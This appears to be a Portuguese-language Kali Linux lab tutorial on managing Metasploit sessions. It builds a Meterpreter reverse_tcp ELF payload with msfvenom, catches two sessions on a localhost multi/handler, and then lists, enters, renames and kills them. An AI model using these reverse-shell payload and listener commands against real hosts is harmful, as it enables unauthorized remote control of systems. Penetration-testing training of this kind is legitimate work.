Gerenciar Múltiplas Sessões no Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

Em testes de penetração, é comum obter acesso a múltiplos sistemas simultaneamente. O Metasploit Framework oferece uma maneira poderosa de gerenciar essas conexões, conhecidas como "sessões". Uma sessão é um link ativo para um alvo comprometido, que pode ser um shell de linha de comando ou uma sessão avançada do Meterpreter.

Gerenciar efetivamente essas sessões é uma habilidade crítica. Ela permite organizar seu fluxo de trabalho, alternar entre alvos de forma transparente e manter o controle sobre seus ativos comprometidos. Neste laboratório, você aprenderá os comandos fundamentais para gerenciar múltiplas sessões no Metasploit. Você praticará a obtenção de sessões, listando-as, interagindo com sessões específicas, renomeando-as para melhor organização e, finalmente, encerrando-as de forma limpa.

Obter múltiplas sessões Meterpreter ou shell

Nesta etapa, você configurará um listener no Metasploit e, em seguida, executará um payload para criar duas sessões Meterpreter separadas. Isso simula o acesso a dois sistemas diferentes.

Primeiro, abra um terminal e inicie o console do Metasploit Framework. O flag -q faz com que ele inicie silenciosamente, sem exibir o banner.

msfconsole -q

Em seguida, configuraremos um listener genérico, chamado multi/handler, para aguardar conexões de entrada.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Agora, execute o listener como um job em segundo plano usando o flag -j. Isso mantém o prompt do msfconsole disponível para outros comandos enquanto o listener é executado em segundo plano.

run -j

Você deverá ver uma confirmação de que o handler foi iniciado.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Agora, você precisa gerar e executar o payload que se conectará a este listener. Abra uma nova aba de terminal, a segunda, clicando no ícone + na janela do terminal.

Neste novo terminal, use msfvenom para criar um payload. Este comando gera um arquivo executável ELF que, quando executado, se conectará de volta ao nosso listener.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Torne o arquivo de payload gerado executável:

chmod +x ~/project/payload.elf

Agora, execute o payload duas vezes para criar duas sessões. Executamos como processos em segundo plano (&) para que você possa executar o comando novamente imediatamente.

./payload.elf &
./payload.elf &

Volte para a sua primeira janela de terminal com msfconsole. Você verá mensagens indicando que duas sessões Meterpreter foram abertas.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400

Você agora estabeleceu com sucesso duas sessões ativas.

Listar todas as sessões ativas com o comando sessions

Nesta etapa, você aprenderá como visualizar todas as sessões ativas que estabeleceu. Com várias sessões abertas, você precisa de uma maneira de listá-las para ver a que está conectado.

O comando sessions é usado para este propósito. No seu terminal msfconsole, basta digitar sessions para obter uma lista de todas as sessões ativas. O flag -l é um alias para list e faz a mesma coisa.

sessions

A saída será uma tabela contendo informações sobre cada sessão:

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Esta tabela fornece uma visão geral clara:

  • Id: Um número único para cada sessão, usado para interagir com ela.
  • Name: Um nome personalizado para a sessão (atualmente vazio).
  • Type: O tipo de sessão (por exemplo, meterpreter, shell).
  • Information: Detalhes sobre o sistema comprometido, como o ID do usuário.
  • Connection: Os endereços IP e portas de origem e destino.

Interagir com uma sessão específica usando sessions -i

Nesta etapa, você aprenderá como selecionar e interagir com uma sessão específica da lista.

Depois de identificar a sessão com a qual deseja trabalhar, você pode usar o comando sessions com o flag -i (interact) seguido pelo ID da sessão.

Vamos interagir com a primeira sessão (ID 1).

sessions -i 1

Seu prompt de comando mudará de msf6 > para meterpreter >, indicando que você agora está dentro da sessão Meterpreter e pode executar comandos específicos do Meterpreter.

[*] Starting interaction with 1...

meterpreter >

Para confirmar que você está na sessão, execute um comando simples como sysinfo para obter informações do sistema do alvo.

sysinfo

Você verá uma saída semelhante a esta:

Computer     : labex-virtual-machine
OS           : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter  : x64/linux

Depois de terminar de trabalhar dentro de uma sessão, você pode retornar ao prompt principal do msfconsole sem encerrar a sessão. Para fazer isso, use o comando background.

background

Isso colocará a sessão em segundo plano e o retornará ao prompt msf6 >, permitindo que você gerencie outras sessões.

[*] Backgrounding session 1...
msf6 exploit(multi/handler) >

Renomear uma sessão para melhor organização usando sessions -n

Nesta etapa, você aprenderá como renomear uma sessão. Ao gerenciar muitas sessões, os nomes padrão não são descritivos. Renomear sessões com rótulos significativos (por exemplo, "WebServer", "DBServer") as torna muito mais fáceis de identificar.

Você pode renomear uma sessão usando o comando sessions com o flag -n (name). A sintaxe é sessions -n <NovoNome> <ID>.

Vamos renomear a sessão 2 para algo mais descritivo, como TestHost.

sessions -n TestHost 2

O Metasploit confirmará que a sessão foi renomeada.

[*] Session 2's name has been changed to TestHost.

Agora, liste as sessões novamente para ver a alteração.

sessions

A tabela de saída agora mostrará o novo nome na coluna "Name" para a sessão 2.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  1             meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Isso torna muito mais fácil rastrear seus alvos.

Encerrar uma sessão usando sessions -k

Nesta etapa, você aprenderá como encerrar uma sessão. Assim que terminar seu trabalho em um sistema alvo ou se uma sessão não for mais necessária, é uma boa prática fechá-la.

Para encerrar, ou matar, uma sessão, use o comando sessions com o flag -k (kill), seguido pelo ID da sessão.

Vamos encerrar a sessão 1.

sessions -k 1

O Metasploit confirmará que está parando a sessão.

[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit

Para verificar se a sessão foi encerrada, liste as sessões ativas mais uma vez.

sessions

A saída agora mostrará apenas a sessão restante, TestHost.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Você limpou com sucesso a sessão desnecessária.

Resumo

Parabéns por completar este laboratório! Você aprendeu as habilidades essenciais para gerenciar múltiplas sessões dentro do Metasploit Framework.

Neste laboratório, você praticou:

  • Criar múltiplas sessões Meterpreter usando um multi/handler e um payload.
  • Listar todas as sessões ativas com o comando sessions.
  • Interagir com uma sessão específica usando sessions -i <ID>.
  • Renomear uma sessão para melhor organização com sessions -n <Name> <ID>.
  • Encerrar uma sessão de forma limpa usando sessions -k <ID>.

Dominar esses comandos é fundamental para qualquer testador de penetração, pois permite um controle eficiente e organizado sobre múltiplos sistemas comprometidos.